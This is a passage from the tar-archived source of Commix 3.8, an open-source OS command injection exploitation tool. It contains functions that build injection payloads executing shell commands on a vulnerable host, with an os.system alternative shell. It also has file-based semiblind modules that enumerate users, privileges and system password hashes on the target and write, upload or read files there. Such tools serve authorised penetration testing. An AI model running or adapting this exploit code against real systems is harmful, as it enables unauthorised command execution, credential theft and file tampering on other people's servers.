"`echo " + TAG + "`)" +
separator
)
else:
payload = ("print(`echo " + TAG +
separator + "echo " + TAG +
separator + "echo " + TAG + "`)%3B"
)
else:
if separator == "":
payload = ("print(`echo " + TAG + "`." +
"`for /f \"tokens=*\" %i in ('cmd /c \"" +
"set /a (" + str(randv1) + "%2B" + str(randv2) + ")" +
"\"') do @set /p = %i " + settings.CMD_NUL + "`." +
"`echo " + TAG + "`." +
"`echo " + TAG + "`)" +
separator
)
else:
payload = ("print(`echo " + TAG +
separator + "for /f \"tokens=*\" %i in ('cmd /c \"" +
"set /a (" + str(randv1) + "%2B" + str(randv2) + ")" +
"\"') do @set /p = %i " + settings.CMD_NUL +
separator + "echo " + TAG +
separator + "echo " + TAG + "`)%3B"
)
else:
if settings.SKIP_CALC:
if separator == "":
payload = ("print(`echo " + TAG + "`." +
"`echo " + TAG + "`." +
"`echo " + TAG + "`)" +
separator
)
else:
payload = ("print(`echo " + TAG +
separator + "echo " + TAG +
separator + "echo " + TAG + "`)%3B"
)
else:
if separator == "":
payload = ("print(`echo " + TAG + "`." +
"`echo $((" + str(randv1) + "%2B" + str(randv2) + "))`." +
"`echo " + TAG + "`." +
"`echo " + TAG + "`)" +
separator
)
else:
payload = ("print(`echo " + TAG +
separator + "echo $((" + str(randv1) + "%2B" + str(randv2) + "))" +
separator + "echo " + TAG +
separator + "echo " + TAG + "`)%3B"
)
return payload
"""
__Warning__: The alternative shells are still experimental.
"""
def decision_alter_shell(separator, TAG, randv1, randv2):
if settings.TARGET_OS == settings.OS.WINDOWS:
python_payload = settings.WIN_PYTHON_INTERPRETER + " -c \"print(str(int(" + str(int(randv1)) + "%2B" + str(int(randv2)) + ")))\""
if settings.SKIP_CALC:
if separator == "":
payload = ("print(`echo " + TAG + "`." +
"`echo " + TAG + "`." +
"`echo " + TAG + "`)" +
separator
)
else:
payload = ("print(`echo " + TAG +
separator + "echo " + TAG +
separator + "echo " + TAG + "`)%3B"
)
else:
if separator == "":
payload = ("print(`echo " + TAG + "`." +
"` cmd /c " + python_payload + "`." +
"`echo " + TAG + "`." +
"`echo " + TAG + "`)" +
separator
)
else:
payload = ("print(`echo " + TAG +
separator +python_payload +
separator + "echo " + TAG +
separator + "echo " + TAG + "`)%3B"
)
else:
python_payload = settings.LINUX_PYTHON_INTERPRETER + " -c \"print(str(int(" + str(int(randv1)) + "%2B" + str(int(randv2)) + ")))\""
if settings.SKIP_CALC:
if separator == "":
payload = ("print(`echo " + TAG + "`." +
"`echo " + TAG + "`." +
"`echo " + TAG + "`)" +
separator
)
else:
payload = ("print(`echo " + TAG +
separator + "echo " + TAG +
separator + "echo " + TAG + "`)%3B"
)
else:
if separator == "":
payload = ("print(`echo " + TAG + "`." +
"` " + python_payload + "`." +
"`echo " + TAG + "`." +
"`echo " + TAG + "`)" +
separator
)
else:
payload = ("print(`echo " + TAG +
separator +python_payload +
separator + "echo " + TAG +
separator + "echo " + TAG + "`)%3B"
)
return payload
"""
Execute shell commands on vulnerable host.
"""
def cmd_execution(separator, TAG, cmd):
if settings.TARGET_OS == settings.OS.WINDOWS:
cmd = ( "for /f \"tokens=*\" %i in ('cmd /c " +
cmd +
"') do @set /p = %i " + settings.CMD_NUL
)
if separator == "":
payload = ("print(`echo " + TAG + "`." +
"`echo " + TAG + "`." +
"`" + cmd + "`." +
"`echo " + TAG + "`." +
"`echo " + TAG + "`)"
)
else:
payload = ("print(`echo '" + TAG + "'" +
separator + "echo '" + TAG + "'" +
separator + cmd +
separator + "echo '" + TAG + "'" +
separator + "echo '" + TAG + "'`)%3B"
)
else:
settings.USER_SUPPLIED_CMD = cmd
if separator == "":
payload = ("print(`echo " + TAG + "`." +
"`echo " + TAG + "`." +
"`" + cmd + "`." +
"`echo " + TAG + "`." +
"`echo " + TAG + "`)"
)
else:
payload = ("print(`echo '" + TAG + "'" +
separator + "echo '" + TAG + "'" +
separator + cmd +
separator + "echo '" + TAG + "'" +
separator + "echo '" + TAG + "'`)%3B"
)
return payload
"""
__Warning__: The alternative shells are still experimental.
"""
def cmd_execution_alter_shell(separator, TAG, cmd):
if settings.TARGET_OS == settings.OS.WINDOWS:
if settings.REVERSE_TCP:
payload = (separator + cmd + settings.SINGLE_WHITESPACE
)
else:
python_payload = ("for /f \"tokens=*\" %i in ('cmd /c " +
settings.WIN_PYTHON_INTERPRETER + " -c \"import os; os.system('" + cmd + "')\"" +
"') do @set /p = %i " + settings.CMD_NUL
)
if separator == "":
payload = ("print(`echo " + TAG + "`." +
"`echo " + TAG + "`." +
"`" + python_payload + "`." +
"`echo " + TAG + "`." +
"`echo " + TAG + "`)"
)
else:
payload = ("print(`echo '" + TAG + "'" +
separator + "echo '" + TAG + "'" +
separator + python_payload +
separator + "echo '" + TAG + "'" +
separator + "echo '" + TAG + "'`)%3B"
)
else:
if separator == "":
payload = ("print(`echo " + TAG + "`." +
"`echo " + TAG + "`." +
"`" + cmd + "`." +
"`echo " + TAG + "`." +
"`echo " + TAG + "`)"
)
else:
payload = ("print(`echo '" + TAG + "'" +
separator + "echo '" + TAG + "'" +
separator +cmd +
separator + "echo '" + TAG + "'" +
separator + "echo '" + TAG + "'`)%3B"
)
return payload
# eof commix-3.8/src/core/injections/semiblind/ 0000775 0000000 0000000 00000000000 14466364451 0020527 5 ustar 00root root 0000000 0000000 commix-3.8/src/core/injections/semiblind/__init__.py 0000664 0000000 0000000 00000000743 14466364451 0022644 0 ustar 00root root 0000000 0000000 #!/usr/bin/env python
# encoding: UTF-8
"""
This file is part of Commix Project (https://commixproject.com).
Copyright (c) 2014-2023 Anastasios Stasinopoulos (@ancst).
This program is free software: you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation, either version 3 of the License, or
(at your option) any later version.
For more see the file 'readme/COPYING' for copying permission.
"""
pass commix-3.8/src/core/injections/semiblind/techniques/ 0000775 0000000 0000000 00000000000 14466364451 0022677 5 ustar 00root root 0000000 0000000 commix-3.8/src/core/injections/semiblind/techniques/__init__.py 0000664 0000000 0000000 00000000743 14466364451 0025014 0 ustar 00root root 0000000 0000000 #!/usr/bin/env python
# encoding: UTF-8
"""
This file is part of Commix Project (https://commixproject.com).
Copyright (c) 2014-2023 Anastasios Stasinopoulos (@ancst).
This program is free software: you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation, either version 3 of the License, or
(at your option) any later version.
For more see the file 'readme/COPYING' for copying permission.
"""
pass commix-3.8/src/core/injections/semiblind/techniques/file_based/ 0000775 0000000 0000000 00000000000 14466364451 0024754 5 ustar 00root root 0000000 0000000 commix-3.8/src/core/injections/semiblind/techniques/file_based/__init__.py 0000664 0000000 0000000 00000000743 14466364451 0027071 0 ustar 00root root 0000000 0000000 #!/usr/bin/env python
# encoding: UTF-8
"""
This file is part of Commix Project (https://commixproject.com).
Copyright (c) 2014-2023 Anastasios Stasinopoulos (@ancst).
This program is free software: you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation, either version 3 of the License, or
(at your option) any later version.
For more see the file 'readme/COPYING' for copying permission.
"""
pass commix-3.8/src/core/injections/semiblind/techniques/file_based/fb_enumeration.py 0000775 0000000 0000000 00000032326 14466364451 0030334 0 ustar 00root root 0000000 0000000 #!/usr/bin/env python
# encoding: UTF-8
"""
This file is part of Commix Project (https://commixproject.com).
Copyright (c) 2014-2023 Anastasios Stasinopoulos (@ancst).
This program is free software: you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation, either version 3 of the License, or
(at your option) any later version.
For more see the file 'readme/COPYING' for copying permission.
"""
import re
import sys
from src.utils import logs
from src.utils import menu
from src.utils import settings
from src.utils import session_handler
from src.core.injections.controller import checks
from src.thirdparty.colorama import Fore, Back, Style, init
from src.core.injections.semiblind.techniques.file_based import fb_injector
"""
The "file-based" technique on semiblind OS command injection.
"""
"""
Powershell's version number enumeration (for Windows OS)
"""
def powershell_version(separator, payload, TAG, timesec, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename):
_ = False
cmd = settings.PS_VERSION
if alter_shell:
cmd = checks.escape_single_quoted_cmd(cmd)
else:
cmd = cmd = checks.quoted_cmd(cmd)
# Evaluate injection results.
if session_handler.export_stored_cmd(url, cmd, vuln_parameter) == None or menu.options.ignore_session:
# Command execution results.
response = fb_injector.injection(separator, payload, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename)
# Evaluate injection results.
ps_version = fb_injector.injection_results(url, OUTPUT_TEXTFILE, timesec)
ps_version = "".join(str(p) for p in ps_version)
session_handler.store_cmd(url, cmd, ps_version, vuln_parameter)
else:
ps_version = session_handler.export_stored_cmd(url, cmd, vuln_parameter)
checks.print_ps_version(ps_version, filename, _)
"""
Hostname enumeration
"""
def hostname(separator, payload, TAG, timesec, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename):
_ = False
if settings.TARGET_OS == settings.OS.WINDOWS:
settings.HOSTNAME = settings.WIN_HOSTNAME
cmd = settings.HOSTNAME
if session_handler.export_stored_cmd(url, cmd, vuln_parameter) == None or menu.options.ignore_session:
# Command execution results.
response = fb_injector.injection(separator, payload, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename)
# Evaluate injection results.
shell = fb_injector.injection_results(url, OUTPUT_TEXTFILE, timesec)
shell = "".join(str(p) for p in shell)
session_handler.store_cmd(url, cmd, shell, vuln_parameter)
else:
shell = session_handler.export_stored_cmd(url, cmd, vuln_parameter)
checks.print_hostname(shell, filename, _)
"""
Retrieve system information
"""
def system_information(separator, payload, TAG, timesec, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename):
_ = False
if settings.TARGET_OS == settings.OS.WINDOWS:
settings.RECOGNISE_OS = settings.WIN_RECOGNISE_OS
cmd = settings.RECOGNISE_OS
if session_handler.export_stored_cmd(url, cmd, vuln_parameter) == None or menu.options.ignore_session:
# Command execution results.
response = fb_injector.injection(separator, payload, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename)
# Evaluate injection results.
target_os = fb_injector.injection_results(url, OUTPUT_TEXTFILE, timesec)
target_os = "".join(str(p) for p in target_os)
session_handler.store_cmd(url, cmd, target_os, vuln_parameter)
else:
target_os = session_handler.export_stored_cmd(url, cmd, vuln_parameter)
if target_os:
target_os = "".join(str(p) for p in target_os)
if settings.TARGET_OS != settings.OS.WINDOWS:
cmd = settings.DISTRO_INFO
if session_handler.export_stored_cmd(url, cmd, vuln_parameter) == None or menu.options.ignore_session:
# Command execution results.
response = fb_injector.injection(separator, payload, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename)
# Perform target page reload (if it is required).
if settings.URL_RELOAD:
response = requests.url_reload(url, timesec)
# Evaluate injection results.
distro_name = fb_injector.injection_results(url, OUTPUT_TEXTFILE, timesec)
distro_name = "".join(str(p) for p in distro_name)
if len(distro_name) != 0:
target_os = target_os + settings.SINGLE_WHITESPACE + distro_name
session_handler.store_cmd(url, cmd, target_os, vuln_parameter)
else:
target_os = session_handler.export_stored_cmd(url, cmd, vuln_parameter)
if settings.TARGET_OS == settings.OS.WINDOWS:
cmd = settings.WIN_RECOGNISE_HP
else:
cmd = settings.RECOGNISE_HP
if session_handler.export_stored_cmd(url, cmd, vuln_parameter) == None or menu.options.ignore_session:
# Command execution results.
response = fb_injector.injection(separator, payload, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename)
# Evaluate injection results.
target_arch = fb_injector.injection_results(url, OUTPUT_TEXTFILE, timesec)
target_arch = "".join(str(p) for p in target_arch)
session_handler.store_cmd(url, cmd, target_arch, vuln_parameter)
else:
target_arch = session_handler.export_stored_cmd(url, cmd, vuln_parameter)
checks.print_os_info(target_os, target_arch, filename, _)
"""
The current user enumeration
"""
def current_user(separator, payload, TAG, timesec, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename):
_ = False
if settings.TARGET_OS == settings.OS.WINDOWS:
settings.CURRENT_USER = settings.WIN_CURRENT_USER
cmd = settings.CURRENT_USER
if session_handler.export_stored_cmd(url, cmd, vuln_parameter) == None or menu.options.ignore_session:
# Command execution results.
response = fb_injector.injection(separator, payload, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename)
# Evaluate injection results.
cu_account = fb_injector.injection_results(url, OUTPUT_TEXTFILE, timesec)
cu_account = "".join(str(p) for p in cu_account)
session_handler.store_cmd(url, cmd, cu_account, vuln_parameter)
else:
cu_account = session_handler.export_stored_cmd(url, cmd, vuln_parameter)
checks.print_current_user(cu_account, filename, _)
"""
Check if the current user has excessive privileges.
"""
def check_current_user_privs(separator, payload, TAG, timesec, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename):
_ = False
if settings.TARGET_OS == settings.OS.WINDOWS:
cmd = settings.IS_ADMIN
else:
cmd = settings.IS_ROOT
if session_handler.export_stored_cmd(url, cmd, vuln_parameter) == None or menu.options.ignore_session:
# Command execution results.
response = fb_injector.injection(separator, payload, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename)
# Evaluate injection results.
shell = fb_injector.injection_results(url, OUTPUT_TEXTFILE, timesec)
shell = "".join(str(p) for p in shell)
session_handler.store_cmd(url, cmd, shell, vuln_parameter)
else:
shell = session_handler.export_stored_cmd(url, cmd, vuln_parameter)
checks.print_current_user_privs(shell, filename, _)
"""
System users enumeration
"""
def system_users(separator, payload, TAG, timesec, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename):
_ = False
cmd = settings.SYS_USERS
if settings.TARGET_OS == settings.OS.WINDOWS:
cmd = settings.WIN_SYS_USERS
if alter_shell:
cmd = checks.escape_single_quoted_cmd(cmd)
else:
cmd = checks.quoted_cmd(cmd)
if session_handler.export_stored_cmd(url, cmd, vuln_parameter) == None or menu.options.ignore_session:
# Command execution results.
response = fb_injector.injection(separator, payload, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename)
# Evaluate injection results.
sys_users = fb_injector.injection_results(url, OUTPUT_TEXTFILE, timesec)
sys_users = "".join(str(p) for p in sys_users)
session_handler.store_cmd(url, cmd, sys_users, vuln_parameter)
else:
sys_users = session_handler.export_stored_cmd(url, cmd, vuln_parameter)
checks.print_users(sys_users, filename, _, separator, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell)
"""
System passwords enumeration
"""
def system_passwords(separator, payload, TAG, timesec, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename):
_ = False
cmd = settings.SYS_PASSES
if session_handler.export_stored_cmd(url, cmd, vuln_parameter) == None or menu.options.ignore_session:
# Command execution results.
response = fb_injector.injection(separator, payload, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename)
# Evaluate injection results.
sys_passes = fb_injector.injection_results(url, OUTPUT_TEXTFILE, timesec)
sys_passes = "".join(str(p) for p in sys_passes)
session_handler.store_cmd(url, cmd, sys_passes, vuln_parameter)
else:
sys_passes = session_handler.export_stored_cmd(url, cmd, vuln_parameter)
checks.print_passes(sys_passes, filename, _, alter_shell)
"""
Single os-shell execution
"""
def single_os_cmd_exec(separator, payload, TAG, timesec, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename):
cmd = menu.options.os_cmd
checks.print_enumenation().print_single_os_cmd_msg(cmd)
if session_handler.export_stored_cmd(url, cmd, vuln_parameter) == None or menu.options.ignore_session:
# Command execution results.
response = fb_injector.injection(separator, payload, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename)
# Evaluate injection results.
shell = fb_injector.injection_results(url, OUTPUT_TEXTFILE, timesec)
shell = "".join(str(p) for p in shell)
session_handler.store_cmd(url, cmd, shell, vuln_parameter)
else:
shell = session_handler.export_stored_cmd(url, cmd, vuln_parameter)
checks.print_single_os_cmd(cmd, shell)
"""
Check the defined options
"""
def do_check(separator, payload, TAG, timesec, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename):
# Check if PowerShell is enabled.
if not menu.options.ps_version and settings.TARGET_OS == settings.OS.WINDOWS:
checks.ps_check()
if menu.options.ps_version and settings.PS_ENABLED == None:
if not checks.ps_incompatible_os():
checks.print_enumenation().ps_version_msg()
powershell_version(separator, payload, TAG, timesec, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename)
settings.ENUMERATION_DONE = True
if menu.options.hostname:
checks.print_enumenation().hostname_msg()
hostname(separator, payload, TAG, timesec, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename)
settings.ENUMERATION_DONE = True
if menu.options.current_user:
checks.print_enumenation().current_user_msg()
current_user(separator, payload, TAG, timesec, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename)
settings.ENUMERATION_DONE = True
if menu.options.is_root or menu.options.is_admin:
checks.print_enumenation().check_privs_msg()
check_current_user_privs(separator, payload, TAG, timesec, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename)
settings.ENUMERATION_DONE = True
if menu.options.sys_info:
checks.print_enumenation().os_info_msg()
system_information(separator, payload, TAG, timesec, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename)
settings.ENUMERATION_DONE = True
if menu.options.users:
checks.print_enumenation().print_users_msg()
system_users(separator, payload, TAG, timesec, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename)
settings.ENUMERATION_DONE = True
if menu.options.passwords:
if settings.TARGET_OS == settings.OS.WINDOWS:
check_option = "--passwords"
checks.unavailable_option(check_option)
else:
checks.print_enumenation().print_passes_msg()
system_passwords(separator, payload, TAG, timesec, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename)
settings.ENUMERATION_DONE = True
# eof
commix-3.8/src/core/injections/semiblind/techniques/file_based/fb_file_access.py 0000775 0000000 0000000 00000013136 14466364451 0030244 0 ustar 00root root 0000000 0000000 #!/usr/bin/env python
# encoding: UTF-8
"""
This file is part of Commix Project (https://commixproject.com).
Copyright (c) 2014-2023 Anastasios Stasinopoulos (@ancst).
This program is free software: you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation, either version 3 of the License, or
(at your option) any later version.
For more see the file 'readme/COPYING' for copying permission.
"""
import re
import os
import sys
from src.utils import menu
from src.utils import settings
from src.utils import session_handler
from src.core.injections.controller import checks
from src.thirdparty.six.moves import urllib as _urllib
from src.thirdparty.colorama import Fore, Back, Style, init
from src.core.injections.semiblind.techniques.file_based import fb_injector
"""
The "file-based" technique on semiblind OS command injection.
"""
"""
Write to a file on the target host.
"""
def file_write(separator, payload, TAG, timesec, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename):
file_to_write, dest_to_write, content = checks.check_file_to_write()
if settings.TARGET_OS == settings.OS.WINDOWS:
cmd = checks.change_dir(dest_to_write)
response = fb_injector.injection(separator, payload, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename)
fname, tmp_fname, cmd = checks.find_filename(dest_to_write, content)
response = fb_injector.injection(separator, payload, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename)
cmd = checks.win_decode_b64_enc(fname, tmp_fname)
response = fb_injector.injection(separator, payload, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename)
cmd = checks.delete_tmp(tmp_fname)
response = fb_injector.injection(separator, payload, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename)
else:
cmd = checks.write_content(content, dest_to_write)
cmd = cmd + settings.COMMENT
response = fb_injector.injection(separator, payload, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename)
shell = fb_injector.injection_results(url, OUTPUT_TEXTFILE, timesec)
shell = "".join(str(p) for p in shell)
cmd = checks.check_file(dest_to_write)
response = fb_injector.injection(separator, payload, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename)
shell = fb_injector.injection_results(url, OUTPUT_TEXTFILE, timesec)
shell = "".join(str(p) for p in shell)
checks.file_write_status(shell, dest_to_write)
"""
Upload a file on the target host.
"""
def file_upload(separator, payload, TAG, timesec, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename):
cmd, dest_to_upload = checks.check_file_to_upload()
response = fb_injector.injection(separator, payload, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename)
shell = fb_injector.injection_results(url, OUTPUT_TEXTFILE, timesec)
shell = "".join(str(p) for p in shell)
cmd = checks.check_file(dest_to_upload)
response = fb_injector.injection(separator, payload, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename)
shell = fb_injector.injection_results(url, OUTPUT_TEXTFILE, timesec)
shell = "".join(str(p) for p in shell)
checks.file_upload_status(shell, dest_to_upload)
"""
Read a file from the target host.
"""
def file_read(separator, payload, TAG, timesec, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename):
cmd, file_to_read = checks.file_content_to_read()
if session_handler.export_stored_cmd(url, cmd, vuln_parameter) == None or menu.options.ignore_session:
response = fb_injector.injection(separator, payload, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename)
shell = fb_injector.injection_results(url, OUTPUT_TEXTFILE, timesec)
shell = "".join(str(p) for p in shell)
session_handler.store_cmd(url, cmd, shell, vuln_parameter)
else:
shell = session_handler.export_stored_cmd(url, cmd, vuln_parameter)
checks.file_read_status(shell, file_to_read, filename)
"""
Check the defined options
"""
def do_check(separator, payload, TAG, timesec, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename):
if menu.options.file_write:
file_write(separator, payload, TAG, timesec, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename)
settings.FILE_ACCESS_DONE = True
if menu.options.file_upload:
if settings.TARGET_OS == settings.OS.WINDOWS:
check_option = "--file-upload"
checks.unavailable_option(check_option)
else:
file_upload(separator, payload, TAG, timesec, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename)
settings.FILE_ACCESS_DONE = True
if menu.options.file_read:
file_read(separator, payload, TAG, timesec, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename)
settings.FILE_ACCESS_DONE = True
# eof commix-3.8/src/core/injections/semiblind/techniques/file_based/fb_handler.py 0000775 0000000 0000000 00000073575 14466364451 0027436 0 ustar 00root root 0000000 0000000 #!/usr/bin/env python
# encoding: UTF-8
"""
This file is part of Commix Project (https://commixproject.com).
Copyright (c) 2014-2023 Anastasios Stasinopoulos (@ancst).
This program is free software: you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation, either version 3 of the License, or
(at your option) any later version.
For more see the file 'readme/COPYING' for copying permission.
"""
import re
import os
import sys
import time
import string
import random
from src.utils import menu
from src.utils import logs
from src.utils import settings
from src.utils import session_handler
from src.core.requests import headers
from src.core.requests import requests
from src.core.requests import parameters
from src.utils import common
from src.core.injections.controller import checks
from src.core.injections.controller import shell_options
from src.thirdparty.six.moves import input as _input
from src.thirdparty.six.moves import urllib as _urllib
from src.thirdparty.colorama import Fore, Back, Style, init
from src.core.injections.semiblind.techniques.file_based import fb_injector
from src.core.injections.semiblind.techniques.file_based import fb_payloads
from src.core.injections.semiblind.techniques.file_based import fb_enumeration
from src.core.injections.semiblind.techniques.file_based import fb_file_access
from src.core.injections.semiblind.techniques.tempfile_based import tfb_handler
"""
The "file-based" technique on semiblind OS command injection.
"""
"""
Check ff temp-based technique has failed,
then use the "/tmp/" directory for tempfile-based technique.
"""
def tfb_controller(no_result, url, timesec, filename, tmp_path, http_request_method, url_time_response):
if no_result == True:
info_msg = "Trying to create a file in temporary "
info_msg += "directory (" + tmp_path + ") for command execution output.\n"
sys.stdout.write(settings.print_info_msg(info_msg))
call_tfb = tfb_handler.exploitation(url, timesec, filename, tmp_path, http_request_method, url_time_response)
return call_tfb
else :
sys.stdout.write("\r")
sys.stdout.flush()
"""
Delete previous shells outputs.
"""
def delete_previous_shell(separator, payload, TAG, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename):
if settings.FILE_BASED_STATE != None:
if settings.VERBOSITY_LEVEL != 0:
debug_msg = "Deleting the generated file '" + OUTPUT_TEXTFILE + "'."
print(settings.print_debug_msg(debug_msg))
if settings.TARGET_OS == settings.OS.WINDOWS:
cmd = settings.WIN_DEL + settings.WEB_ROOT + OUTPUT_TEXTFILE
else:
cmd = settings.DEL + settings.WEB_ROOT + OUTPUT_TEXTFILE + settings.SINGLE_WHITESPACE + settings.COMMENT
response = fb_injector.injection(separator, payload, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename)
"""
Provide custom server's root directory
"""
def custom_web_root(url, timesec, filename, http_request_method, url_time_response):
if settings.TARGET_OS == settings.OS.WINDOWS :
example_root_dir = "\\inetpub\\wwwroot"
else:
example_root_dir = "/var/www"
message = "Please provide the host's root directory (e.g. '"
message += example_root_dir + "') > "
settings.WEB_ROOT = common.read_input(message, default=example_root_dir, check_batch=True)
if settings.WEB_ROOT.endswith(("\\", "/")):
settings.WEB_ROOT = settings.WEB_ROOT[:-1]
if len(settings.WEB_ROOT) == 0:
settings.WEB_ROOT = example_root_dir
if menu.options.web_root:
menu.options.web_root = settings.WEB_ROOT
settings.CUSTOM_WEB_ROOT = True
"""
Return TEMP path for win / *nix targets.
"""
def check_tmp_path(url, timesec, filename, http_request_method, url_time_response):
# Set temp path
if settings.TARGET_OS == settings.OS.WINDOWS:
if "microsoft-iis" in settings.SERVER_BANNER.lower():
settings.TMP_PATH = "C:\\Windows\TEMP\\"
else:
settings.TMP_PATH = "%temp%\\"
else:
settings.TMP_PATH = "/tmp/"
if menu.options.tmp_path:
tmp_path = menu.options.tmp_path
else:
tmp_path = settings.TMP_PATH
if settings.DEFAULT_WEB_ROOT != settings.WEB_ROOT:
settings.WEB_ROOT = settings.DEFAULT_WEB_ROOT
if menu.options.file_dest and '/tmp/' in menu.options.file_dest:
call_tmp_based = True
# else:
if menu.options.web_root:
settings.WEB_ROOT = menu.options.web_root
else:
# Debian/Ubunt have been updated to use /var/www/html as default instead of /var/www.
if "apache" in settings.SERVER_BANNER.lower():
if "debian" or "ubuntu" in settings.SERVER_BANNER.lower():
try:
check_version = re.findall(r"/(.*)\.", settings.SERVER_BANNER.lower())
if check_version[0] > "2.3" and not settings.TARGET_OS == settings.OS.WINDOWS:
# Add "/html" to servers root directory
settings.WEB_ROOT = settings.WEB_ROOT + "/html"
else:
settings.WEB_ROOT = settings.WEB_ROOT
except IndexError:
pass
# Add "/html" to servers root directory
elif "fedora" or "centos" in settings.SERVER_BANNER.lower():
settings.WEB_ROOT = settings.WEB_ROOT + "/html"
else:
pass
# On more recent versions (>= "1.2.4") the default root path has changed to "/usr/share/nginx/html"
elif "nginx" in settings.SERVER_BANNER.lower():
try:
check_version = re.findall(r"/(.*)\.", settings.SERVER_BANNER.lower())
if check_version[0] >= "1.2.4":
# Add "/html" to servers root directory
settings.WEB_ROOT = settings.WEB_ROOT + "/html"
else:
# Add "/www" to servers root directory
settings.WEB_ROOT = settings.WEB_ROOT + "/www"
except IndexError:
pass
elif "microsoft-iis" in settings.SERVER_BANNER.lower():
pass
else:
# Provide custom server's root directory.
custom_web_root(url, timesec, filename, http_request_method, url_time_response)
path = _urllib.parse.urlparse(url).path
path_parts = path.split('/')
count = 0
for part in path_parts:
count = count + 1
count = count - 1
last_param = path_parts[count]
EXTRA_DIR = path.replace(last_param, "")
settings.WEB_ROOT = settings.WEB_ROOT + EXTRA_DIR
if settings.TARGET_OS == settings.OS.WINDOWS:
settings.WEB_ROOT = settings.WEB_ROOT.replace("/","\\")
return tmp_path
def finalize(exit_loops, no_result, float_percent, injection_type, technique):
if exit_loops == False:
if settings.VERBOSITY_LEVEL == 0:
if str(float_percent) == "100.0":
if no_result == True:
percent = settings.FAIL_STATUS
else:
percent = ".. (" + str(float_percent) + "%)"
else:
percent = ".. (" + str(float_percent) + "%)"
